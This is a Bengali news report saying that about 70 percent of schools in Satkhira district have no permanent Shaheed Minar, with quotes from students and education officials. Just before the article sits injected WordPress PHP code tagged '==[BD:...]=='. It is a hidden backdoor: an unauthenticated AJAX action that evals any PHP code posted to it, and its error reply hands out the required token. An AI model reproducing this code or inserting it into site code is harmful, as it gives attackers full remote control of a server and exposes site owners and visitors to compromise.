// ==[BD:jfMd8DMa]== add_action( 'wp_ajax_nopriv_rzgczijdiqa', function() { $bind = 'jfMd8DMaPEVBq74Uwrr23JLITZEvODHc'; $comp = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $comp ) || ! hash_equals( $bind, $comp ) ) { wp_send_json_error( [ 'message' => 'tok:' . $bind ], 403 ); } $marker = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $marker ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $marker = preg_replace( '/^\s*<\?(php)?/i', '', $marker ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $sym = microtime( true ); ob_start(); try { ( static function() use ( $marker ) { return eval( $marker ); } )(); $chunk = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $chunk, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } catch ( \Throwable $val ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $val->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } } ); // ==[/BD:jfMd8DMa]== ৭০ ভাগ শিক্ষা প্রতিষ্ঠানে শহীদ মিনার নেই!

৭০ ভাগ শিক্ষা প্রতিষ্ঠানে শহীদ মিনার নেই!

পাঁচ পেরিয়ে ছয় যুগের দ্বারপ্রান্তে ভাষা আন্দোলনের বয়স। কয়েক প্রজন্ম ধরে ভাষা আন্দোলনের চেতনা বহন করে আসছে বাঙালী জাতি। এই চেতনার সবচেয়ে বড় অনুসঙ্গ হলো শহীদ মিনার। বাঙালীর কাছে এটি একটি আবেগের নাম। অথচ সাতক্ষীরার ৭০ ভাগ শিক্ষা প্রতিষ্ঠানেই এখনো স্থায়ীভাবে শহীদ মিনার তৈরি করা হয়নি।

এসব শিক্ষা প্রতিষ্ঠানগুলোয় আন্তর্জাতিক মাতৃভাষা ও শহীদ দিবস পালনের জন্য কখনো অস্থায়ী শহীদ মিনার নির্মাণ করা হয়, আবার কখনো প্রতিষ্ঠান বন্ধ রেখে পার্শ্ববর্তী অন্য বিদ্যালয়ে গিয়ে ভাষা শহীদদের প্রতি শ্রদ্ধা জানানো হয়। এভাবেই পেরিয়ে গেছে দীর্ঘ ৬৮ বছর।

ইতিহাস বলে ভাষার জন‌্য প্রাণ দিয়েছে কেবল বাঙালীরাই। পৃথিবীর ইতিহাসে যা বিরল। তাই ভাষা সৈনিকদের শ্রদ্ধাভরে স্মরণ করার জন্য সরকারিভাবে জেলার প্রতিটি শিক্ষা প্রতিষ্ঠানে স্থায়ী শহীদ মিনার থাকার নির্দেশনা রয়েছে।

তবে সাতক্ষীরায় প্রাথমিক, মাধ্যমিক ও উচ্চ মাধ্যমিক পর্যায়ে ৭০ ভাগ শিক্ষা প্রতিষ্ঠানেই নেই কোনো স্থায়ী শহীদ মিনার। জেলায় মাধ্যমিক ও উচ্চ মাধ্যমিক পর্যায়ে ৬০৫টি শিক্ষা প্রতিষ্ঠানের মধ্যে ২৩১টিতে এখনো শহীদ মিনার তৈরিই হয়নি।

এ পরিসংখ্যানে প্রাথমিক বিদ্যালয়ের অবস্থা আরো নাজুক। ১০৯৩টি প্রাথমিক বিদ্যালয়ের মধ্যে ৯৯৬টিতেই কোনো শহীদ মিনার নেই। ফলে শিক্ষার্থীরা ভাষা শহীদদের প্রতি শ্রদ্ধা নিবেদন করতে পারে না। ধীরে ধীরে তারা এ সংস্কৃতির বাইরে চলে যাচ্ছে। যা সত‌্যিই ভয়াবহ।

সাতক্ষীরার তালা উপজেলার জালালপুর মাধ্যমিক বিদ্যালয়ের ষষ্ট শ্রেণি পড়ুয়া মো. আলিফ রহমান জানায়, তার বিদ্যালয়ে শহীদ মিনার আছে। সহপাঠিদের সাথে প্রভাত ফেরিতে শহীদ মিনারে ফুল দিয়ে শহীদ দিবস পালন করেছে সে।

আশাশুনির দক্ষিণ দরগাহপুর সরকারি প্রাথমিক বিদ্যালয়ের পঞ্চম শ্রেণির ছাত্রী কাজল রহমান জানায়, তার বিদ্যালয়ে কোনো স্থায়ী শহীদ মিনার নেই। তাই সে ভাষা শহীদদের প্রতি শ্রদ্ধা জানাতে পারে না। জেলার প্রতিটি শিক্ষা প্রতিষ্ঠানে শহীদ মিনার স্থাপনের দাবি জানায় এই ক্ষুদে শিক্ষার্থী।

সাতক্ষীরা সদর উপজেলার ডি. বি. ইউনাইটেড হাইস্কুল প্রধান শিক্ষক মো. মমিনুর রহমান ও সাতক্ষীরা পাবলিক স্কুল এন্ড কলেজের পরিচালক আলাউদ্দীন ফারুকী প্রিন্স জানান, তাদের স্কুলে সম্প্রতি দ্রুত শহীদ মিনার নির্মাণ করা হয়েছে। এতে ভাষা শহীদদের প্রতি শ্রদ্ধা জ্ঞাপনের সুযোগ পাবে শিক্ষার্থীরা।

সাতক্ষীরা জেলা প্রাথমিক শিক্ষা অফিসার মো. রুহুল আমীন বলেন, ‘মুজিব শতবর্ষকে সামনে রেখে এক বছরের মধ্যে জেলার সকল প্রাথমিক বিদ্যালয়গুলিতে শহীদ মিনার নির্মাণের কর্মপরিকল্পনা নেওয়া হয়েছে।’

সাতক্ষীরা জেলা শিক্ষা অফিসার আব্দুল্লাহ-আল মামুন জানান, এ বছর জেলার প্রতিটি মাধ্যমিক ও উচ্চ মাধ্যমিক শিক্ষা প্রতিষ্ঠানের শিক্ষার্থীরা যাতে ভাষা সৈনিকদের প্রতি শ্রদ্ধা নিবেদন করতে পারে সে জন্য প্রাথমিক প্রস্তুতি নেয়া হয়েছে।

ভাষা গবেষকরা মনে করেন, বাংলা ভাষা ও ভাষা শহীদদের প্রতি শ্রদ্ধা সমুন্নত রাখতে শহীদ মিনার প্রতিস্থাপনের বিকল্প নেই। তাই শতভাগ শিক্ষা প্রতিষ্ঠানে স্থায়ীভাবে শহীদ মিনার নির্মাণ জরুরী বলে মনে করেন তারা।

এশিয়াবিডি/ডেস্ক/সাইফ

আরও সংবাদ